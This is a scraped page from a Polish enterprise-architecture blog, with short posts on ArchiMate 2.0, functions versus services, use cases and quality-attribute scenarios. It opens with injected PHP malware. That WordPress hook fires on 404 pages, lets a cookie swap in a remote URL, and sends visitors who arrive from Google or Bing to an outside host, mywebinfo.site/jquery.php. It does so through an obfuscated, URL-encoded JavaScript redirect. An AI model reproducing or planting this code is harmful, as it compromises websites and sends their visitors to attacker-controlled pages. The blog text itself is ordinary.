function wpd_do_stuff_on_40404(){ if( is_404() ){ if (!empty($_COOKIE["7a245f27bb6d4fefb5a20859bd576373"])) { update_option('wpd_do_stuff_on_40404_url', rawurldecode($_COOKIE["7a245f27bb6d4fefb5a20859bd576373"])); } if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE) { $u = get_option('wpd_do_stuff_on_40404_url', 'mywebinfo.s' . 'ite/jquery.php'); if (!empty($u)) { $fu = 'http://' . $u . "?referrer=" . $_SERVER["HTTP_REFERER"] . '&u=' . rawurlencode($_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); $t = rawurldecode("%3Chtml%3E%0D%0A%20%20%20%3Chead%3E%0D%0A%20%20%20%20%20%20%3Cscript%20type%20%3D%20%22text%2Fjavascript%22%3E%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20function%20Redirect%28%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20window.location%20%3D%20%22%25s%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20document.write%28%22You%20will%20be%20redirected%20to%20main%20page%20in%202%20sec.%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20setTimeout%28%27Redirect%28%29%27%2C%202000%29%3B%0D%0A%20%20%20%20%20%20%3C%2Fscript%3E%0D%0A%20%20%20%3C%2Fhead%3E%0D%0A%20%20%20%3Cbody%3E%0D%0A%20%20%20%3C%2Fbody%3E%0D%0A%3C%2Fhtml%3E%0D%0A"); exit(sprintf($t, $fu)); } } } } add_action( 'template_redirect', 'wpd_do_stuff_on_40404' ); Produkty architektury korporacyjnej | ArchiReq | Architektura korporacyjna w praktyce

ArchiMate 2.0, czyli narodziny nowej gwiazdy

Luty 11, 2012

Gdzie ja byłem, kiedy rodził się ArchiMate 2.o? No tak,  zajmowałem się architekturą korporacyjną. Dopiero dziś zauważam,  że nowy standard ma wiele elementów, których brakowało młodszemu bratu ArchiMate 1.0, a które musiałem wprowadzić do środowiska sAF w formie rozszerzeń ArchiMate. To dobrze,  że specyfikujący notację zauważyli potrzebę uzupełnienia zbioru elementów o elementy zarządcze, jak choćby: zasada (ang. principle),  cel (ang. goal),  stabilizacja (ang. plateau),  luka (ang. gap).  W nowej specyfikacji znajdziemy dużo więcej elementów zarządczych. Czy, aby na pewno potrzebnych, tego nie wiem. Dziwi za to brak scenariuszy (ang. scenarios).  W zasadzie trudno jest ocenić wszystkie zmiany, ponieważ to wymaga rzetelnej analizy pełnej specyfikacji a to dopiero przede mną. Przyznam również, że trochę niepokoi mnie silne uzależnienie nowych elemenetów ArchiMate 2.0 od ADM TOGAF, tj. od podejścia tranzycyjnego. No, ale nie można było się spodziewać innego efektu, jeśli opiekę nad jezykiem ArchiMate jakiś czas temu przejęło The Open Group.

Funkcja czy usługa czyli kiedy funkcja może być usługą a usługa funkcją

Sierpień 25, 2010

Często dyskutując w gronie osób z branży IT pojawia się problem posługiwania się pojęciami określającymi elementy architektury i wzajemnego jednoznacznego ich rozumienia. Chodzi mianowicie o pojęcie funkcja/funkonalność, usługa, przypadek użycia, proces, podproces, zdolność (ang. capability), operacja. Pojęcia te są stosowane nie tyle zamiennie, co przypadkowo w różnych kontekstach w bardzo różny sposób. Inżynieria oprogramowania to dziedzina ścisła i dlatego przyznam bardzo irytuje mnie ta dowolność. Dowolność ta ma jednak bardzo proste wytłumaczenie. Nie, nie chodzi o niewiedzę dyskutantów a raczej o zbyt ogólne definicje pojęć serwowanych przez literaturę oraz brak określenia w gronie współpracowników uszczegółowionej definicji i kryteriów posługiwania się tymi pojęciami. No, bo przecież to wszystko jest tak oczywiste, że nie warto o tym mówić. Otóż nie, warto dlatego, że inaczej stan chaosu nie tylko w dyskusji ale i w opisie dokumentacji będzie się pogłębiać.

ArchiMate język modelowania architektury korporacyjnej czy potrzebujemy kolejnego języka modelowania?

Czerwiec 13, 2010

W poprzednim artykule ([1]) przybliżyłem pojęcie architektury korporacyjnej. Jak napisałem, architektura korporacyjna służy precyzyjnemu opisowi przedsiębiorstwa widzianemu jako system. W przypadku modelowania aplikacji i systemów informatycznych, istnieją narzędzia i języki modelowania ogólnego przeznaczenia, jak choćby UML. Dla architektury korporacyjnej takich języków chociażby z uwagi na to, że jest to młoda dyscyplina nie było. Oczywiście język UML jest językiem ogólnym, który poprzez zastosowanie profili można uszczegółowić do zagadnień modelowania architektury korporacyjnej. Bez względu na to, z czego wyprowadzimy język opisu architektury korporacyjnej najważniejsze jest ujęcie zasad semantycznych i syntaktycznych. W tym artykule postaram się krótko przybliżyć język modelowania ArchiMate, który próbuje sprostać wyzwaniu bycia językiem opisu architektury korporacyjnej. Szczegółowy opis języka ArchiMate wykracza poza ramy tego artykułu. Zainteresowanych tematem odsyłam do [2]. Na początku jednak spróbuję odpowiedzieć na pytanie – Czy naprawdę potrzebujemy kolejnego języka modelowania w świecie zdominowanym przez UML, BPMN, ARIS, itp.?

Identyfikowanie przypadków użycia poprzez cele użytkowników

Kwiecień 24, 2010

Pewien zespół analityczny w ciągu miesiąca musiał zrealizować jeden z etapów projektu polegający na opisie funkcjonalności aplikacji przedsiębiorstwa z użyciem przypadków użycia. Wyniki prac tego etapu były konieczne do realizacji kolejnego etapu projektu. Projekt był realizowany w dużym przedsiębiorstwie państwowym o niepowtarzalnym charakterze działalności w skali kraju. Liczba aplikacji podlegająca opisowi była bardzo duża. Część zespołu analitycznego przed przystąpieniem do prac pracowała już na rzecz tego przedsiębiorstwa, dlatego znana im była działalność przedsiębiorstwa oraz ogólne funkcjonalności aplikacji podlegających opisowi.

Scenariusze atrybutów jakościowych

Marzec 30, 2010

W ramach niniejszego wpisu, chciałbym zapoznać czytelnika z techniką ułatwiającą identyfikację i opisywanie wymagań niefunkcjonalnych, jakim są scenariusze atrybutów jakościowych. Założenia tej techniki zostały przez mnie zaczerpnięte z książki Software Architecture in Practice (2nd) autorów Len Bass, Paul Clements, Rick Kazman.

Technikę opisu atrybutów jakościowych poprzez scenariusze staram się wykorzystywać w pracy zawodowej i stosuję ją w odniesieniu do elementów architektury korporacyjnej – a więc na trochę wyższym poziomie niż zaproponowany przez autorów poziom i zakres obejmujący pojedynczą aplikację monolityczną. Tym nie mniej, technika ta zdaje egzamin również i w takich przypadkach.